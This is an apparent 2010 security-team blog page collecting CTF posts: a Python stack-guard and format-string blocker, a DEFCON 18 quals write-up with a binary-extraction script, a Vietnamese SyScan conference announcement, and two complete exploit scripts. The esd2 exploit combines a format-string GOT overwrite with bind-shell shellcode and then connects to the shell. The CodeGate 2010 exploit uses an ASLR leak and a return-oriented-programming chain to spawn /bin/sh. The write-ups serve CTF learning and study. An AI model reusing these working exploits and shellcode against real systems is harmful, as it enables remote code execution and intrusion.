Stack Guard & Format String Blocker in Python

December 23, 2010 by lamer · Leave a Comment 

Download the tool


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Stack Guard & Format String Blocker in Python
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

:author: Nam T. Nguyen
:copyright: 2010, public domain

(Shamefully admitted that this tool was used in the Capture the Flag game at HITB Kuala Lumpur 2010, and it failed)

The Big Picture
===============

Basically, we are running the application under a debugger. When an interesting event occurs, we process it accordingly.

Stack Guard
-----------

The interesting events are function entry and function exit. When we enter into a function, the value at top of stack is XOR'd with a random value. When we exit from a function, the value at TOS is again XOR'd with that same random value.

Format String
-------------

The interesting events are those ``printf`` family functions. When the function is entered, we just have to check if its format string argument contains ``%n`` or ``%hn``. For some functions (e.g. ``printf```), this argument is at TOS + 4 (leave one for saved EBP), for some others (e.g. ``fprintf``) it is at TOS + 8, yet for some (e.g. ``snprintf``) it is at TOS + 12.

The Problems
============

Breakpoints
-----------

The main issue is with multi-process (fork'd code) applications. Basically, when they fork, the soft-breakpoints (0xCC) are retained but the handler does not attach to the new process. Therefore, when a breakpoint hits, the newly forked process simply dies.

To work around this issue, the ``MultiprocessDebugger`` class is written to remember breakpoints in both original and forked processes. It also kills new image (via ``exec``) to protect against successful exploitation that launches ``/bin/sh``, for example.

Function entries/exits
----------------------

Basically, to find all function entries, and exits, we have to walk the code. A recursive iterator (flattened with a simple queue) is used to visit all functions from a starting location (usually ``main`` function). When a ``CALL`` instruction is reached, its destination is deemed a function entry. When a ``RET`` instruction is reached, this current location is deemed an exit of the the current function. This does not work with indirect calls (``CALL EAX``, for e.g.) because we do not know its destination.

Samples
=======

Please peruse ``target.py`` for a sample usage.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

DEFCON 18 Quals: Pwtent Pwnables 500 write up

May 28, 2010 by RD · Leave a Comment 

This is a short write up since I’m a bit lazy. We didn’t solved it during the quals as it was too late (we exhausted and most of member including myself went to sleep so I only started looking into this in the morning of Monday. Didn’t have enough of time to finish it).

For pp500, ddtek gave us a pcap network dump of a remote exploit to a daemon on host 192.41.96.63, port 6913 and password to login is ‘antagonist’. Playing around with the daemon, I found out that ‘b’ command returns you back a block of 512 bytes from the binary.

Password: antagonist
? to see the menu
> ?
x - quit
d - donate entropy
r - report
b - /dev/hrnd
? - help
> b
Seed: 0
ELF     4�$4 (444�������&& l � ��/libexec/ld-elf.so.FreeBSDk5%20   .1!
                                                                      "
/)(-*>

Seed value from 0 to 19 returned the same data, 20 returned different data, 21-39 same as 20, … So I wrote a script to extract out all the blocks from the binary with seed values 0, 20, 40, 60, 80, ….. After filtered out all the duplicated blocks, there were totally 21 unique blocks.

#!/usr/bin/env python
import sys
import socket

class humpty:
        def  __init__(self, host, port):
                self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.s.connect((host, port))
                ret = self.s.recv(1024)
                print ret

        def login(self, passwd):
                self.s.send(passwd + "\n")
                ret = self.s.recv(1024)
                print ret

        def getdata(self, seed):
                print seed
                cmd = "b\n"
                self.s.send(cmd)
                ret = self.s.recv(1024)
                print ret
                ret = self.s.recv(1024)
                print ret

                self.s.send("%d\n" % seed)
                ret = ret + self.s.recv(1024)
                ret = ret
                #print len(ret), repr(ret)
                return ret[6:518]

        def close(self):
                self.s.close()

def log(file, data):
        f = open(file, "w")
        f.write(data)
        f.close()

host = '192.41.96.63'
port = 6913

c = humpty(host, port)
a = raw_input("Enter to continue");
c.login("antagonist")

data = []
for i in range(0, 100):
        data.append(c.getdata(20*i));

data = list(set(data))
print "Total %d unique blocks" % len(data)
for i in range(0, len(data)):
        log("%d"%i, data[i])

print "Done"
c.close()

From the pcap dump session, we can find out that the size of humpty binary is 10392, which is 21 blocks of 512 bytes

-rwxr-x---  1 root  humpty  10392 May 22 19:06 humpty
-rw-r-----  1 root  humpty     21 May 22 19:01 key

The task now is to merge all the blocks in a the right order to rebuild the ELF binary. What I did was to get a sample freebsd binary which has similar size as humpty, then used `split -b512` to split it to 21 chunks of 512 bytes and then compared side by side with the 21 extracted blocks from ddtek’s pp500 server, merged it manually and used readelf to verify the merged binary. Here (or here) is the binary for pp500’s humpty.

After getting the binary, the rest of the tasks are easy since ddtek gave us out the exploit from the pcap dump. The exploit is similar to the exploit of esd2. FYI, esd2 is the original binary for pp500 which was leaked out via pp200 shell. After ddtek guys realized of this problem, they modified the esd2, changed password, strings, commands, read elf block functions, xor input, .. and named it humpty.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

DEFCON 18 Quals: Pwtent Pwnables 500 esd2 exploit

May 28, 2010 by longld · Leave a Comment 

CLGT did not solved this during the quals! Here is the exploit for  the esd2 leaked from pp200 (thanks beist for sharing). More analysis & write up for the real pp500 will come later:

#!/usr/bin/env python

import socket
import struct
import telnetlib
import time

HOST = '192.168.56.101'
PORT = 8302

def xor_input(data):
    static = "%5d | %5d\n" + "\x00"*4
    out = ""
    for i in range(len(data)):
        out += chr(ord(static[i]) ^ ord(data[i]))
    return out

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# send password
s.send("sp3wn0w" + "\n")

# prepare the payload
# overwrite lseek@plt, original value = 0x08048ae2
target = 0x804a30c
# shellcode address = 0x0804a040 + 142 bytes (padding + fmt_string)
ret = 0x0804a0ce
# value to write into target
write_byte = 0xa0ce
# payload = target + padding(128 - 4) + 14 (fmt_string) + shellcode
padding = "A"*128
fmt_string = "%" + str(write_byte) + "u%24$hn"
fmt_string = xor_input(fmt_string)

# bindshell: port 5678
shellcode = "\x00\x29\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63\x7d\xa9\x09\x83\xeb\xfc\xe2\xf4\x09\x1c\xf1\x90\x31\x15\xb9\x0b\x75\x53\x20\xe8\x31\x3f\xfb\x4b\x31\x17\xb9\xc4\xe3\xe4\x3a\x58\x30\x2f\xc3\x61\x3b\xb0\x29\xb9\x09\xb0\x29\x5b\x30\x2f\x19\x17\xae\xfd\x3e\x63\x61\x24\xc3\x53\x3b\x2c\xfe\x58\xae\xfd\xe0\x70\x96\x2d\xc1\x26\x4c\x0e\xc1\x61\x4c\x1f\xc0\x67\xea\x9e\xf9\x5d\x30\x2e\x19\x32\xae\xfd\xa9\x09"

payload = struct.pack("<L", target) + padding[4:] + fmt_string + shellcode + "\n"

print "Sending payload...", repr(payload)
s.send("c\n" + str(len(payload)) +"\n")
s.send(payload)
# trigger the read_blob that calls lseek()
s.send("r\n" + "10\n")

print "Connecting to remote shell port 5678..."
time.sleep(4)
t = telnetlib.Telnet(HOST, 5678)
t.write("id\n\n")
t.interact()

t.close()
s.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Hội thảo bảo mật quốc tế SyScan 2010 đến Tp.HCM

May 27, 2010 by vnsec · 2 Comments 

SyScan (Symposium on Security for Asia Network) là một trong các hội thảo bảo mật chuyên đề uy tín ở châu Á. Khác với các hội thảo bảo mật khác, SyScan không nói về sản phẩm hay giải pháp thương mại, mà là nơi các chuyên gia bảo mật hàng đầu trên thế giới đến để chia sẻ các nghiên cứu, phát hiện và kinh nghiệm của họ với giới bảo mật trong khu vực. Các diễn giả ở SyScan là những chuyên gia thuộc nhóm giỏi nhất, nổi bật nhất trong lĩnh vực họ nghiên cứu, sẽ đến và chia sẻ trong một hội thảo diễn ra trong hai ngày.

Tham dự Syscan HCM để có cơ hội trúng thưởng máy tính bảng Apple iPad

Tham dự Syscan 2010 HCM để có cơ hội trúng thưởng máy tính bảng Apple iPad

Đây là lần đầu tiên hội thảo SyScan được tổ chức ở Việt Nam với sự phối hợp đồng tổ chức giữa Syscan, công ty IET và nhóm VNSECURITY – nhóm nghiên cứu bảo mật hàng đầu hiện nay ở VN và cũng là nhà tổ chức hội thảo bảo mật quốc tế VNSECON năm 2007. Hội thảo SyScan 2010 HCM sẽ diễn ra từ ngày 23 đến 24 tháng 9 năm 2010 tại khách sạn Sheraton, 88 Đồng Khởi – Q.1 – Tp.HCM. Trọng tâm của hội thảo năm nay sẽ nhắm vào các chủ đề bảo mật nóng bỏng hiện nay trên thế giới như: Bảo mật hệ điều hành, Ảo hoá và Điện toán đám mây, Bảo mật trình duyệt, Bảo mật thiết bị di động, hệ thống nhúng, Web 2.0, Mạng viễn thông, Mạng máy tính, Chính sách an ninh, Chiến tranh điện tử, … Các đề tài này sẽ được xét duyệt bởi một hội đồng kỹ thuật gồm các chuyên gia bảo mật hàng đầu:

  • Thomas Lim – Sáng lập SyScan, CEO công ty bảo mật COSEINC
  • Dave Aitel – Sáng lập viên và là CEO của công ty bảo mật ImmunitySec
  • Marc Maiffret – Đồng sáng lập và là Chief Hacking Officer của công ty bảo mật eEye
  • Matthew “Shok” Conover – Công ty bảo mật Symantec
  • Thanh Nguyen – Security Center of Excellence, Intel / Sáng lập viên VNSECURITY

Các báo cáo sẽ được các diễn giả trình bày bằng tiếng Anh. Tuy nhiên các tài liệu và bản thuyết trình sẽ được chiếu song ngữ tiếng Anh và tiếng Việt. Song song với buổi hội thảo, sẽ diễn ra các khoá huấn luyện ngắn hạn do các chuyên gia tên tuổi đứng lớp với các chủ đề khá chuyên biệt như Khai thác lỗi hổng bảo mật trên Windows, Bảo mật ứng dụng Web, Xây dựng mạng Wifi an toàn, …

Mời tham gia gửi báo cáo
Ban tổ chức mong sẽ nhận được các báo cáo từ các chuyên gia an ninh mạng và bảo mật trong nước để trình bày tại hội thảo Syscan 2010 HCM. Chi tiết về CFP xin xem tại http://www.syscan.org/hcm/callforpapers.php

Do tổ chức ở VN, ban tổ chức đã cân nhắc mức chi phí phù hợp cho đa số các đối tượng quan tâm đến bảo mật có thể tham gia. BTC hiện đang cho đăng ký tham dự sớm với chi phí tham dự hội thảo chỉ là 50 USD (20 USD đối với sinh viên) / người từ nay đến hết tháng 5. Chi phí đăng ký tham dự trong tháng 6 sẽ là 100 USD / người và đến ngày hội thảo là 300 USD / người. Đây là giá rất rẻ cho hội thảo quốc tế về an ninh mạng và bảo mật có quy mô và chất lượng cao (giá trung bình ở các hội thảo khác trong đó có Syscan 2010 Singapore là khoảng 500-1500 USD/người). Ngoài ra, mỗi người tham dự sẽ có cơ hội bốc thăm trúng thưởng máy tính bảng iPad của hãng Apple. Để đăng ký, bạn hãy gửi thông tin cho ban tổ chức qua trang web sau http://www.syscan.org/hcm/registration.php. Đại diện BTC ở VN sẽ liên hệ bạn để xác nhận và thống nhất về phương thức thanh toán. Nếu bạn có thắc mắc hay câu hỏi, xin vui lòng liên hệ qua địa chỉ email conf @ vnsecurity chấm net.

Vietnam Hacking Festival

Song song với khuôn khổ hội thảo quốc tế SyScan 2010 diễn ra trong hai ngày 23 – 24-9-2010, nhóm VNSECURITY cũng sẽ tổ chức vòng chung kết “Vietnam Hacking Festival”, một cuộc thi CTF với sự tham gia của các đội trong và ngoài nước. Vòng loại của cuộc thi sẽ diễn ra vào đầu tháng 8-2010. Thông tin cụ thể sẽ được thông báo trên trang chủ VNSecurity.net.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5

April 18, 2010 by longld · 4 Comments 

In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.

ROP introduction

A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/

In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.

ROP limitations (difficulties):

  • ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
  • ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input

The “harder” case

Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:

  • getline(): can pass NULL byte to input
  • printf(): can leak runtime memory info (bypass ASLR)

Finding ROP gadgets

Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:

eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env

Searching in harder binary, we found below gadgets:

  • eax:
    80483a4:    58                       pop    %eax
    80483a5:    5b                       pop    %ebx
    80483a6:    c9                       leave
    80483a7:    c3                       ret
  • ebx & ecx:
    8048634:    59                       pop    %ecx
    8048635:    5b                       pop    %ebx
    8048636:    c9                       leave
    8048637:    c3                       ret

    “/bin/sh” is placed on target buffer, its address is available by leaking via printf()

  • edx:
    There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.

    0x001ba506 :    mov    edx,esi
    80485e6:    5e                       pop    %esi
    80485e7:    5f                       pop    %edi
    80485e8:    5d                       pop    %ebp
    80485e9:    c3                       ret
  • syscall:
    In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
  • moving stack:
    After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.

Exploit code


#!/usr/bin/env python

import socket
import sys
import struct
import telnetlib

#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))

buf=""
# bypass first read
buf = c.recv(1024)

# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)

# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset

# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)

# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6

# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2  + "\n"
c.send(buf)
c.recv(1024)

# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"

print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)

t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »